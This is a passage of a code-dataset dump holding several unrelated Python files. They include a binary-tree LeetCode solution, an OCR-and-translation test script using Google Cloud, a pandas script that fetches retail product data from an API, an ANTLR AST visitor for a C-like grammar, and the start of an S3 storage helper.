open(p2+\"Failure_Analysis_paper\"+str(i)+\".txt\", \"a\",encoding=\"utf-8\") as ftn:\n                            ftn.write(line)\n                    else:\n                        i+=1\n                        with open(p2+\"Failure_Analysis_paper\"+str(i)+\".txt\", \"a\",encoding=\"utf-8\") as ftn:\n                            ftn.write(line)\n                        continue\n\n\nif __name__ == '__main__':\n    p1=\"F:/txt/ore/\"\n    seg(p1)","sub_path":"txt_mine/txt_operate/txt_seg.py","file_name":"txt_seg.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"480082210","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def longestUnivaluePath(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: int\n        \"\"\"\n        if not root:\n            return 0\n        return max(self.myLongestUnivaluePath(root))\n        \n    def myLongestUnivaluePath(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: int, int\n        \"\"\"\n        if not root:\n            return 0, 0\n        lcount, lmax = self.myLongestUnivaluePath(root.left)\n        rcount, rmax = self.myLongestUnivaluePath(root.right)\n        mycount = 0\n        mymax = 0\n        if root.left and root.right and root.val == root.left.val == root.right.val:\n            mymax = lcount + rcount + 2\n            mycount = max(lcount, rcount) + 1\n        elif root.right and root.val == root.right.val:\n            mycount = rcount + 1\n            mymax = rcount + 1\n        elif root.left and root.left.val == root.val:\n            mycount = lcount + 1\n            mymax = lcount + 1\n        else:\n            mycount = 0\n            mymax = 0\n        return mycount, max(mymax, lmax, rmax)\n","sub_path":"687. Longest Univalue Path/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"324656148","text":"from google.cloud import vision\nfrom google.cloud import translate_v3 as translate\nfrom google.oauth2 import service_account\nimport io, os\n#import cv2\n\n\nimage_base_path = 'images'\n#image_path = os.path.join(image_base_path, 'image_test.png')\n#image_path = os.path.join(image_base_path, 'manga001.jpg')\n#image_path = os.path.join(image_base_path, 'chinito.png')\nimage_path = os.path.join(image_base_path, 'totemo.PNG')\n\n\ndef pic_to_text(image_path):\n\n    with io.open(image_path, 'rb') as image_file :\n        image = image_file.read()\n\n    image = vision.Image(content=image)\n    credentials = service_account.Credentials.from_service_account_file('SM-2021-4a699763da54.json')\n    #108303079256104612485\n    client = vision.ImageAnnotatorClient(credentials = credentials)\n\n    response = client.text_detection(image=image)\n\n    #texts = response.text_annotations\n\n    texts = response.full_text_annotation.text\n\n    return response.full_text_annotation\n\ndef draw_rectangle(img, bbox):\n\n    cv2.rectangle(img,bbox[0],bbox[1],(255,0,0),-1)\n\n    return img\n\ndef text_translate(text, locale = 'es', project_id = 'sm2021'):\n\n    if locale is None:\n        locale = 'ja'\n    \n    credentials = service_account.Credentials.from_service_account_file('SM-2021-4a699763da54.json')\n    client = translate.TranslationServiceClient(credentials = credentials)\n\n    # Designates the data center location that you want to use\n    location = \"us-central1\"\n\n    # Set glossary resource name\n    name = client.glossary_path(project_id, location)\n\n    # Set language codes\n    language_codes_set = translate.Glossary.LanguageCodesSet(\n        language_codes=languages\n    )\n\n    #gcs_source = translate.GcsSource(input_uri=glossary_uri)\n\n    input_config = translate.GlossaryInputConfig()\n\n    # Set glossary resource information\n    glossary = translate.Glossary(\n        name=name, language_codes_set=language_codes_set, input_config=input_config\n    )    \n\ndef translate_text2(target, text):\n    \"\"\"Translates text into the target language.\n\n    Target must be an ISO 639-1 language code.\n    See https://g.co/cloud/translate/v2/translate-reference#supported_languages\n    \"\"\"\n    import six\n    from google.cloud import translate_v2 as translate\n\n    credentials = service_account.Credentials.from_service_account_file('SM-2021-4a699763da54.json')\n    translate_client = translate.Client(credentials = credentials)\n\n    if isinstance(text, six.binary_type):\n        text = text.decode(\"utf-8\")\n\n    # Text can also be a sequence of strings, in which case this method\n    # will return a sequence of results for each text.\n    result = translate_client.translate(text, target_language=target)\n\n    print(u\"Text: {}\".format(result[\"input\"]))\n    print(u\"Translation: {}\".format(result[\"translatedText\"]))\n    print(u\"Detected source language: {}\".format(result[\"detectedSourceLanguage\"]))\n\n\ntext = pic_to_text(image_path)\n\n#print(text)\nprint(translate_text2('es', 'table'))\nprint(text.text)\n\nimport sys\nsys.exit()\nbounds = []\n\nfor page in text.pages:\n    \n    for block in page.blocks:\n        b = []\n        \"\"\"\n        for paragraph in block.paragraphs:\n            for word in paragraph.words:\n                for symbol in word.symbols:\n                    \n        \"\"\"\n\n        for verti in block.bounding_box.vertices:\n\n            b.append((verti.x, verti.y))\n\n        bounds.append(b)\n\n        #print(block.bounding_box)\n\n\n#print(text.pages.blocks)\nprint(bounds)\n\nimage = cv2.imread(image_path)\nimage_rect = image\nfor b in bounds:\n    image_rect = draw_rectangle(image_rect, [b[0], b[2]])\n\n\ncv2.imwrite('test.png', image_rect)\n\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"236528479","text":"#!/bin/env python3\n# coding: utf-8\n\nimport time\nimport json\nimport requests, grequests\nimport numpy as np \nimport pandas as pd\n# import matplotlib.pyplot as plt\n# get_ipython().magic('matplotlib inline')\n# import seaborn as sns\n# from scipy import stats\n# from scipy.stats import norm\n\n\ntrain = pd.read_csv(\"data/orders_data.csv\")\nprint ('The train data has {} rows and {} columns'.format(train.shape[0],train.shape[1]))\ntrain['barcodeIdToShopPriceMRPFinalPriceAndOfferList'].replace('-',' ', regex=True, inplace=True)\n\ndef lookup(s):\n    \"\"\"\n    This is an extremely fast approach to datetime parsing.\n    For large data, the same dates are often repeated. Rather than\n    re-parse these, we store all unique dates, parse them, and\n    use a lookup to convert all dates.\n    \"\"\"\n    dates = {date:pd.to_datetime(date) for date in s.unique()}\n    return s.apply(lambda v: dates[v])\n\ntrain['lastUpdateTime'] = lookup(train['lastUpdateTime'])\ntrain['orderProcessingTime'] = lookup(train['orderProcessingTime'])\ntrain['creationTime'] = lookup(train['creationTime'])\n\n\n# segregate  barcode price column data\ndf_ = pd.DataFrame(train.barcodeIdToShopPriceMRPFinalPriceAndOfferList.str.split(' ',4).tolist(),\n             columns = ['barcode','shopPrice', 'MRP', 'finalPrice', 'offerScheme'])\ntrain.drop(['barcodeIdToShopPriceMRPFinalPriceAndOfferList'], axis=1, inplace=True)\ntrain = pd.concat([df_, train], axis=1)\n\n\nprint(\"forming train_ DataFrame at {}\".format(time.time())) \n# simply existing dataframe into train_\ntrain_ = train.drop(['lastUpdateTime', 'creationTime', 'orderStatus', 'isVPOS',\n                    'promoAmountApplied', 'promoCodeUsageId', 'giftVoucherId'],axis=1)\ntrain_['MRP'] = pd.to_numeric(train_['MRP'], errors='ignore')\ntrain_['barcode'] = pd.to_numeric(train_['barcode'], errors='ignore')\ntrain_['finalPrice'] = pd.to_numeric(train_['finalPrice'], errors='ignore') \ntrain_['gain_on_MRP'] = train_['MRP'] -  train_['finalPrice']\ntrain_['cust_profit_ratio'] = train_['gain_on_MRP']/train_['MRP']\ntrain_.iloc[5:10]\n\n\n# popular_prods = train_.groupby(['barcode']).size().sort_values(ascending=False)\n# popular_prods.head().index\n\n# print(\"popular_train at {}\".format(time.time())) \n# # pd.merge([popular_prods, train_.set_index('barcode')], left_index=True, right_index=True, right=['gain_on_MRP', 'cust_profit_ratio']) \n# popular_train = train_[train['barcode'].isin(popular_prods.head().index)]\n# popular_train = popular_train[popular_train['gain_on_MRP'] > 0].sort_values(by=['gain_on_MRP', 'cust_profit_ratio'], ascending=False)\n# # popular_train.set_index(['shopId', 'barcode', 'orderProcessingTime', 'customerId', 'cartId'])\n# popular_train.head()\n\nprint(\"dropping duplicates at {}\".format(time.time())) \ndf_bcode = train_[['shopId', 'barcode']].set_index(['shopId']).drop_duplicates()#.sort_values('barcode')\ndf_bcode.reset_index(inplace=True)\n\nurl_data = {}\napi_endpoint_base_url = \"perpule-qa.appspot.com\"\n\ndef get_item_details(row):\n    # '{}_{}'.format(row.shopId, row.barcode)\n    if row.barcode not in url_data:\n        url = 'http://{}/resources/v1/barcode/{}/{}'.format(api_endpoint_base_url, row.shopId, row.barcode)\n        # url_data[row.barcode] = json.loads(requests.get(url).text)\n        url_data[row.barcode] = url\n    return url #['productDetails']['category']#, data['productDetails']['productName']\n\ndf_bcode['urls'] = df_bcode.apply(lambda row: get_item_details(row), axis=1)\ndel url_data\n\nbatch_size = 307\n\nfor start in range(15328, 15942, 615):\n    data = {}\n    end = start + 614\n    print(\"processing {} to {} with a batch of {} at {}\".format(start, end, batch_size, time.time())) \n    for k,g in df_bcode[start:end].groupby(np.arange(len(df_bcode[start:end]))//batch_size):\n\n        data[k] = grequests.map(g['urls'].apply(grequests.get), size=batch_size)\n\n\n    for i in range(len(data)): \n        _tmp = []\n        for x in data[i]:\n            try:\n                _tmp.append(json.loads(x.text))\n            except:\n                #_tmp.append(json.loads(list(x)[0].text))\n                _tmp.append({})\n        data[i] = _tmp\n\n    for k in data:\n        f = open('data/item_data_{}_{}_{}.json'.format(start,end,k), 'w')\n        f.write(json.dumps(data[k]))\n        f.close()\n    del data\n","sub_path":"dumps/exploratory/business_modelling/retail/retail_new.py","file_name":"retail_new.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"390813000","text":"from GrammarVisitor import GrammarVisitor\nfrom Ast import *\n\nclass C2PASTVisitor(GrammarVisitor):\n\n\tAst = None\n\n\t# Visit a parse tree produced by GrammarParser#program\n\tdef visitProgram(self, ctx):\n\t\t#print(ctx.getChildCount())\n\t\t#print(ctx.getText())\n\t\tself.Ast = programAst(ctx)\n\t\tinclbool = (str(ctx.getChild(0).getText()[0])=='#')\n\n\t\tif(inclbool):\n\n\t\t\tb = IncludeAst(ctx)\n\t\t\tb.parent = self.Ast\n\t\t\tself.Ast.children.append(b)\n\n\n\t\tfor i in range(inclbool*1,ctx.getChildCount()):\n\n\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\tx.parent = self.Ast\n\t\t\tself.Ast.children.append(x)\n\n\t\treturn self.Ast\n\n\t# Visit a parse tree produced by GrammarParser#func_def.\n\tdef visitFunc_def(self, ctx):\n\t\t#print(ctx.getChildCount())\n\t\ta = func_defAst(ctx)\n\t\tisVoid = False\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tif(ctx.getChild(i).getText()==\"void\"):\n\t\t\t\t\tisVoid = True\n\t\t\tif(i==1):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==2):\n\t\t\t\tx = OpenparantheseAst(ctx)\n\t\t\telif(i==4):\n\t\t\t\tx = CloseparantheseAst(ctx)\n\t\t\telse:\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\tif(isVoid):\n\t\t# adding return to void in case the last statement isnt return, \n\t\t# the optim has already removed statements after return so return should be last\n\t\t\tif(len(a.children[-1].children) ==2 or not(isinstance((a.children[-1].children[-2].children[0]),return_stmtAst))):\n\n\t\t\t\tv = stmtAst(ctx)\n\n\t\t\t\tw = return_stmtAst(ctx)\n\t\t\t\tw.parent = v\n\t\t\t\tv.children.append(w)\n\n\t\t\t\ty = ReturnAst(ctx)\n\t\t\t\ty.parent = w\n\t\t\t\tw.children.append(y)\n\n\t\t\t\tz = SemicolonAst(ctx)\n\t\t\t\tz.parent = w\n\t\t\t\tw.children.append(z)\n\n\t\t\t\tv.parent = a.children[-1]\n\t\t\t\ta.children[-1].children.insert(-1,v)\n\n\t\t#print(a.children[0])\n\n\t\treturn a\n\t# Visit a parse tree produced by GrammarParser#func_decl.\n\tdef visitFunc_decl(self, ctx):\n\n\t\ta = func_declAst(ctx)\n\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==1):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==2):\n\t\t\t\tx = OpenparantheseAst(ctx)\n\t\t\telif(i==4):\n\t\t\t\tx = CloseparantheseAst(ctx)\n\t\t\telif(i==5):\n\t\t\t\tx = SemicolonAst(ctx)\n\t\t\telse:\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#type_specifier.\n\tdef visitType_specifier(self, ctx):\n\n\t\ta = type_specifierAst(ctx)\n\t\tx = None\n\n\t\tif(str(ctx.getChild(0).getText())=='float'):\n\t\t\tx = FloatAst(ctx)\n\t\telif(str(ctx.getChild(0).getText())=='int'):\n\t\t\tx = IntAst(ctx)\n\t\telif(str(ctx.getChild(0).getText())=='char'):\n\t\t\tx = CharAst(ctx)\n\t\telif(str(ctx.getChild(0).getText())=='void'):\n\t\t\tx = VoidAst(ctx)\n\t\tif(ctx.getChildCount()==2):\n\t\t\tx.pointer = True\n\n\t\tx.parent = a\n\t\ta.children.append(x)\n\n\t\treturn a\n\n\n\t# Visit a parse tree produced by GrammarParser#param_decl_list.\n\tdef visitParam_decl_list(self, ctx):\n\n\t\ta = param_decl_listAst(ctx)\n\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i % 2 == 0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telse:\n\t\t\t\tx = KommaAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#param_decl.\n\tdef visitParam_decl(self, ctx):\n\n\t\ta = param_declAst(ctx)\n\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==1):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==2):\n\t\t\t\tx = OpenbracketAst(ctx)\n\t\t\telif(i==3):\n\t\t\t\tx = ClosebracketAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#compound_stmt.\n\tdef visitCompound_stmt(self, ctx):\n\n\t\ta = compound_stmtAst(ctx)\n\t\treturnreached = False\n\n\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = OpencurlyAst(ctx)\n\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\tx = ClosecurlyAst(ctx)\n\t\t\telse:\n\t\t\t\tif returnreached:\n\t\t\t\t\tcontinue\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\t\tif(len(x.children)!=0):\t\t\t\t\n\t\t\t\tif (isinstance(x.children[0], return_stmtAst)):\n\t\t\t\t\treturnreached = True\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#var_def.\n\tdef visitVar_def(self, ctx):\n\n\t\ta = var_defAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==1):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\tx = SemicolonAst(ctx)\n\t\t\telse:\n\t\t\t\tif(i==2):\n\t\t\t\t\tx = AssignAst(ctx)\n\t\t\t\telif(i==3):\n\t\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#var_decl.\n\tdef visitVar_decl(self, ctx):\n\n\t\ta = var_declAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==1):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\tx = SemicolonAst(ctx)\n\t\t\telse:\n\t\t\t\tif(i==2):\n\t\t\t\t\tx = OpenbracketAst(ctx)\n\t\t\t\telif(i==3):\n\t\t\t\t\tx = IntliteralAst(ctx)\n\t\t\t\t\tx.value = int(str(ctx.getChild(i).getText()))\n\t\t\t\telif(i==4):\n\t\t\t\t\tx = ClosebracketAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#stmt.\n\tdef visitStmt(self, ctx):\n\n\t\ta = stmtAst(ctx)\n\t\tx = self.visit(ctx.getChild(0))\n\t\tx.parent = a\n\t\ta.children.append(x)\n\t\tif(ctx.getChildCount()==2):\n\t\t\ty = SemicolonAst(ctx)\n\t\t\ty.parent = a\n\t\t\ta.children.append(y)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#cond_stmt.\n\tdef visitCond_stmt(self, ctx):\n\n\t\ta = cond_stmtAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#if_stmt.\n\tdef visitIf_stmt(self, ctx):\n\n\t\ta = if_stmtAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = IfAst(ctx)\n\t\t\telif(i==1):\n\t\t\t\tx = OpenparantheseAst(ctx)\n\t\t\telif(i==2):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==3):\n\t\t\t\tx = CloseparantheseAst(ctx)\n\t\t\telif(i==4):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#else_stmt.\n\tdef visitElse_stmt(self, ctx):\n\n\t\ta = else_stmtAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = ElseAst(ctx)\n\t\t\telif(i==1):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#while_stmt.\n\tdef visitWhile_stmt(self, ctx):\n\n\t\ta = while_stmtAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = WhileAst(ctx)\n\t\t\telif(i==1):\n\t\t\t\tx = OpenparantheseAst(ctx)\n\t\t\telif(i==2):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==3):\n\t\t\t\tx = CloseparantheseAst(ctx)\n\t\t\telif(i==4):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#return_stmt.\n\tdef visitReturn_stmt(self, ctx):\n\n\t\ta = return_stmtAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0):\n\t\t\t\tx = ReturnAst(ctx)\n\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\tx = SemicolonAst(ctx)\n\t\t\telif(i==1):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#expr.\n\tdef visitExpr(self, ctx):\n\n\t\ta = exprAst(ctx)\n\t\tif(ctx.getChildCount()==1):\n\t\t\tif((str(ctx.getChild(0).getText()[0])=='\"')):\n\t\t\t\ttext = str(ctx.getChild(0).getText())\n\t\t\t\tx = StringliteralAst(ctx)\n\t\t\t\tx.value = text\n\t\t\telse:\n\t\t\t\tx = self.visit(ctx.getChild(0))\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\telse:\n\t\t\tfor i in range(ctx.getChildCount()):\n\t\t\t\tx = None\n\t\t\t\tif(i==0):\n\t\t\t\t\tx = IdAst(ctx)\n\t\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\t\telif(i==1):\n\t\t\t\t\tx = OpenparantheseAst(ctx)\n\t\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\t\tx = CloseparantheseAst(ctx)\n\t\t\t\telif(i==2):\n\t\t\t\t\tx = self.visit(ctx.getChild(i))\n\n\t\t\t\tx.parent = a\n\t\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\n\t# Visit a parse tree produced by GrammarParser#assignment.\n\tdef visitAssignment(self, ctx):\n\n\t\ta = assignmentAst(ctx)\n\t\tderefbool = 0\n\t\tif(str(ctx.getChild(0).getText()[0])=='*'):\n\t\t\tderefbool = 1\n\t\t\ty = DereferencerAst(ctx)\n\t\t\ty.parent = a\n\t\t\ta.children.append(y)\n\t\tfor i in range(derefbool, ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i==0+derefbool):\n\t\t\t\tx = IdAst(ctx)\n\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==ctx.getChildCount()-2):\n\t\t\t\tx = AssignAst(ctx)\n\t\t\telif(i==ctx.getChildCount()-1):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telif(i==1+derefbool):\n\t\t\t\tx = OpenbracketAst(ctx)\n\t\t\telif(i==2+derefbool):\n\n\t\t\t\tif(str(ctx.getChild(i).getText()[0]).isdigit()):\n\n\t\t\t\t\tx = IntliteralAst(ctx)\n\t\t\t\t\tx.value = int(str(ctx.getChild(i).getText()))\n\t\t\t\telse:\n\n\t\t\t\t\tx = IdAst(ctx)\n\t\t\t\t\tx.value = str(ctx.getChild(i).getText())\n\t\t\telif(i==3+derefbool):\n\t\t\t\tx = ClosebracketAst(ctx)\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#exprlist.\n\tdef visitExprlist(self, ctx):\n\n\t\ta = exprlistAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i % 2 == 0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telse:\n\t\t\t\tx = KommaAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\n\n\t# Visit a parse tree produced by GrammarParser#comparison.\n\tdef visitComparison(self, ctx):\n\n\t\ta = comparisonAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i % 2 == 0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telse:\n\t\t\t\tif(str(ctx.getChild(i).getText())=='=='):\n\t\t\t\t\tx = EqualsAst(ctx)\n\t\t\t\telif(str(ctx.getChild(i).getText())=='<'):\n\t\t\t\t\tx = LessthanAst(ctx)\n\t\t\t\telif(str(ctx.getChild(i).getText())=='>'):\n\t\t\t\t\tx = MorethanAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#som.\n\tdef visitSom(self, ctx):\n\n\t\ta = somAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i % 2 == 0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telse:\n\t\t\t\tif(str(ctx.getChild(i).getText())=='+'):\n\t\t\t\t\tx = PlusAst(ctx)\n\t\t\t\telif(str(ctx.getChild(i).getText())=='-'):\n\t\t\t\t\tx = MinusAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\n\t# Visit a parse tree produced by GrammarParser#term.\n\tdef visitTerm(self, ctx):\n\n\t\ta = termAst(ctx)\n\t\tfor i in range(ctx.getChildCount()):\n\t\t\tx = None\n\t\t\tif(i % 2 == 0):\n\t\t\t\tx = self.visit(ctx.getChild(i))\n\t\t\telse:\n\t\t\t\tif(str(ctx.getChild(i).getText())=='*'):\n\t\t\t\t\tx = MultiplicatorAst(ctx)\n\t\t\t\telif(str(ctx.getChild(i).getText())=='/'):\n\t\t\t\t\tx = DividorAst(ctx)\n\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\n\t\treturn a\n\n\t# Visit a parse tree produced by GrammarParser#primary.\n\tdef visitPrimary(self, ctx):\n\n\t\ta = primaryAst(ctx)\n\t\ttext = str(ctx.getChild(0).getText())\n\t\tif(text[0] == '('):\n\t\t\tx = OpenparantheseAst(ctx)\n\t\t\ty = self.visit(ctx.getChild(1))\n\t\t\tz = CloseparantheseAst(ctx)\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\t\ty.parent = a\n\t\t\ta.children.append(y)\n\t\t\tz.parent = a\n\t\t\ta.children.append(z)\n\t\telif(text[0] == '\\''):\n\t\t\tx = CharliteralAst(ctx)\n\t\t\tx.value = text\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\telif(text.isdigit()):\n\t\t\tx = IntliteralAst(ctx)\n\t\t\tx.value = int(text)\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\telif('.' in text):\n\t\t\tx = FloatliteralAst(ctx)\n\t\t\tx.value = float(text)\n\t\t\tx.parent = a\n\t\t\ta.children.append(x)\n\t\telse:\n\t\t\tderefbool = 0\n\t\t\tif(text[0]=='*'):\n\t\t\t\tderefbool = 1\n\t\t\t\ty = DereferencerAst(ctx)\n\t\t\t\ty.parent = a\n\t\t\t\ta.children.append(y)\n\t\t\telif(text[0]=='&'):\n\t\t\t\tderefbool = 1\n\t\t\t\ty = AmpersandAst(ctx)\n\t\t\t\ty.parent = a\n\t\t\t\ta.children.append(y)\n\n\n\t\t\tg = IdAst(ctx)\n\t\t\tg.value = str(ctx.getChild(0+derefbool).getText())\n\t\t\tg.parent = a\n\t\t\ta.children.append(g)\n\n\t\t\tif(ctx.getChildCount()>=4):\n\n\t\t\t\tk = OpenbracketAst(ctx)\n\t\t\t\tk.parent = a\n\t\t\t\ta.children.append(k)\n\n\t\t\t\tl = None\n\t\t\t\tif(str(ctx.getChild(2+derefbool).getText()[0]).isdigit()):\n\t\t\t\t\tl = IntliteralAst(ctx)\n\t\t\t\t\tl.value = int(str(ctx.getChild(2+derefbool).getText()))\n\t\t\t\telse:\n\t\t\t\t\tl = IdAst(ctx)\n\t\t\t\t\tl.value = str(ctx.getChild(2+derefbool).getText())\n\n\t\t\t\tl.parent = a\n\t\t\t\ta.children.append(l)\n\n\t\t\t\tm = ClosebracketAst(ctx)\n\t\t\t\tm.parent = a\n\t\t\t\ta.children.append(m)\n\n\t\treturn a\n","sub_path":"ANTLR/C2PASTVisitor.py","file_name":"C2PASTVisitor.py","file_ext":"py","file_size_in_byte":12131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"358805639","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2019 CERN.\n#\n# inspirehep is free software; you can redistribute it and/or modify it under\n# the terms of the MIT License; see LICENSE file for more details.\n\nimport structlog\nfrom boto3.s3.transfer import TransferConfig\nfrom botocore.exceptions import ClientError\nfrom flask import current_app\nfrom werkzeug import secure_filename\n\nLOGGER = structlog.getLogger()\n\n\nclass S3:\n    def __init__(self, client, resource, config=None):\n        self.client = client\n        self.resource = resource\n        if not config:\n            config = TransferConfig(max_concurrency=1, use_threads=False)\n        self.config = config\n\n    @staticmethod\n    def get_bucket_for_file_key(key):\n        \"\"\"Return the bucket for the given file key.\n\n        :param key: the file key\n        :return: bucket: The corresponding bucket.\n        \"\"\"\n        return S3.get_prefixed_bucket(key[0])\n\n    @staticmethod\n    def get_prefixed_bucket(bucket_without_prefix):\n        \"\"\"Returns prefixed bucket for given bucket\"\"\"\n\n        return f\"{current_app.config.get('S3_BUCKET_PREFIX')}{bucket_without_prefix}\"\n\n    @staticmethod\n    def is_s3_url(url):\n        \"\"\"Checks if the url is an S3 url.\n\n        :param url: the given url.\n        :return: boolean\n        \"\"\"\n        return url.startswith(current_app.config.get(\"S3_HOSTNAME\"))\n\n    def upload_file(self, data, key, filename, mimetype, acl):\n        \"\"\"Upload a file in s3 bucket with the given metadata\n\n        :param data: the data of the file.\n        :param key: the key of the file.\n        :param filename: the filename.\n        :param mimetype: the mimetype of the file.\n        :param acl: the access control list for the file.\n        :return: dict\n        \"\"\"\n        try:\n            response = self.client.upload_fileobj(\n                data,\n                self.get_bucket_for_file_key(key),\n                key,\n                ExtraArgs={\n                    \"ContentType\": mimetype,\n                    \"ACL\": acl,\n                    \"ContentDisposition\": self.get_content_disposition(filename),\n                },\n                Config=self.config,\n            )\n            return response\n        except ClientError as e:\n            LOGGER.warning(exc=e, key=key)\n            raise\n\n    def delete_file(self, key):\n        \"\"\"Deletes the given file from S3.\n\n        :param key: the key of the file.\n        :return: dict\n        \"\"\"\n        try:\n            response = 